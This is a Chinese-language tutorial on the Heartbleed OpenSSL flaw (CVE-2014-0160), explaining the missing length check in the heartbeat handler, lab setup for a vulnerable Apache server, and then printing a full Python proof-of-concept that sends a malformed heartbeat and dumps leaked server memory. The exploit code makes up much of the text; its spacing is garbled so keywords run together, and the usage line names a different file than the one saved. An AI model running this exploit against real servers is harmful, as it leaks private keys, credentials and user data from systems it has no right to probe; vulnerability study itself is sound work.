heartbleed漏洞
漏洞简介
Heartbleed漏洞是openssl的一个漏洞，这个严重漏洞(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露。漏洞存在于openssl的1.0.1版本。
漏洞原因
漏洞代码如下：
int
dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
结构体SSL3_RECORD的定义如下
typedef struct ssl3_record_st
{
int type; /* type of record */
unsigned int length; /* How many bytes available */
unsigned int off; /* read/write offset into 'buf' */
unsigned char *data; /* pointer to the record data */
unsigned char *input; /* where the decode bytes are */
unsigned char *comp; /* only used with decompression - malloc()ed */
unsigned long epoch; /* epoch number, needed by DTLS1 */
unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
} SSL3_RECORD;
每条SSLv3记录中包含一个类型域（type）、一个长度域（length）和一个指向记录数据的指针（data）。在dtls1_process_heartbeat中：
/* Read type and payload length first */
/* -----修复代码，增加边界判断----
------- if (1 + 2 + 16 > s->s3->rrec.length)
---------------- return 0; /* silently discard */
-------- if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)
---------------- return 0; /* silently discard per RFC 6520 sec. 4 */
--------------------------------------------------------------*/
hbtype = *p++;
n2s(p, payload);
pl = p;
SSLv3记录的第一个字节标明了心跳包的类型。宏n2s从指针p指向的数组中取出前两个字节，并把它们存入变量payload中——这实际上是心跳包载荷的长度域（length）。注意原本程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。
这个函数的后面进行了以下工作：
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
所以程序将分配一段由访问者指定大小的内存区域，这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
宏s2n与宏n2s干的事情正好相反：s2n读入一个16 bit长的值，然后将它存成双字节值，所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后，程序将所有数据发回给用户。
漏洞复现
靶机搭建
参考文章：https://blog.csdn.net/flurry_rain/article/details/82706375
文章中用的Apache下载地址失效了，可以用：http://archive.apache.org/dist/httpd/httpd-2.2.34.tar.gz
安装Apache过程中，如果出现找不到apr或者找不到apr-util在或者找不到pcre，参考：https://blog.csdn.net/u014461701/article/details/82227844
还有，里面生成证书的命令少了一截，应该是：openssl x509 -req -days 3650 -inserver.csr -signkey server.key -out server.crt
利用测试
poc代码：
#!/usr/bin/python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
importsys
importstruct
importsocket
importtime
importselect
importre
fromoptparseimportOptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p','--port', type='int', default=443, help='TCP port to test (default: 443)')
defh2bin(x):
returnx.replace(' ','').replace('\n','').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 ff ff
''')
defhexdump(s):
forbinxrange(0, len(s),16):
lin = [cforcins[b : b +16]]
hxdat =' '.join('%02X'% ord(c)forcinlin)
pdat =''.join((cif32<= ord(c) <=126else'.')forcinlin)
print' %04x: %-48s %s'% (b, hxdat, pdat)
defrecvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata =''
remain = length
whileremain >0:
rtime = endtime - time.time()
ifrtime <0:
returnNone
r, w, e = select.select([s], [], [],5)
ifsinr:
data = s.recv(remain)
# EOF?
ifnotdata:
returnNone
rdata += data
remain -= len(data)
returnrdata
defrecvmsg(s):
hdr = recvall(s,5)
ifhdrisNone:
print'Unexpected EOF receiving record header - server closed connection'
returnNone,None,None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln,10)
ifpayisNone:
print'Unexpected EOF receiving record payload - server closed connection'
returnNone,None,None
print' ... received message: type = %d, ver = %04x, length = %d'% (typ, ver, len(pay))
returntyp, ver, pay
defhit_hb(s):
s.send(hb)
whileTrue:
typ, ver, pay = recvmsg(s)
iftypisNone:
print'No heartbeat response received, server likely not vulnerable'
returnFalse
iftyp ==24:
print'Received heartbeat response:'
hexdump(pay)
iflen(pay) >3:
print'WARNING: server returned more data than it should - server is vulnerable!'
else:
print'Server processed malformed heartbeat, but did not return any extra data.'
returnTrue
iftyp ==21:
print'Received alert:'
hexdump(pay)
print'Server returned error, likely not vulnerable'
returnFalse
defmain():
opts, args = options.parse_args()
iflen(args) <1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print'Waiting for Server Hello...'
sys.stdout.flush()
whileTrue:
typ, ver, pay = recvmsg(s)
iftyp ==None:
print'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
iftyp ==22andord(pay[0]) ==0x0E:
break
print'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if__name__ =='__main__':
main()
保存为sqltest.py，用法：python openssl.py ip/域名 -p 端口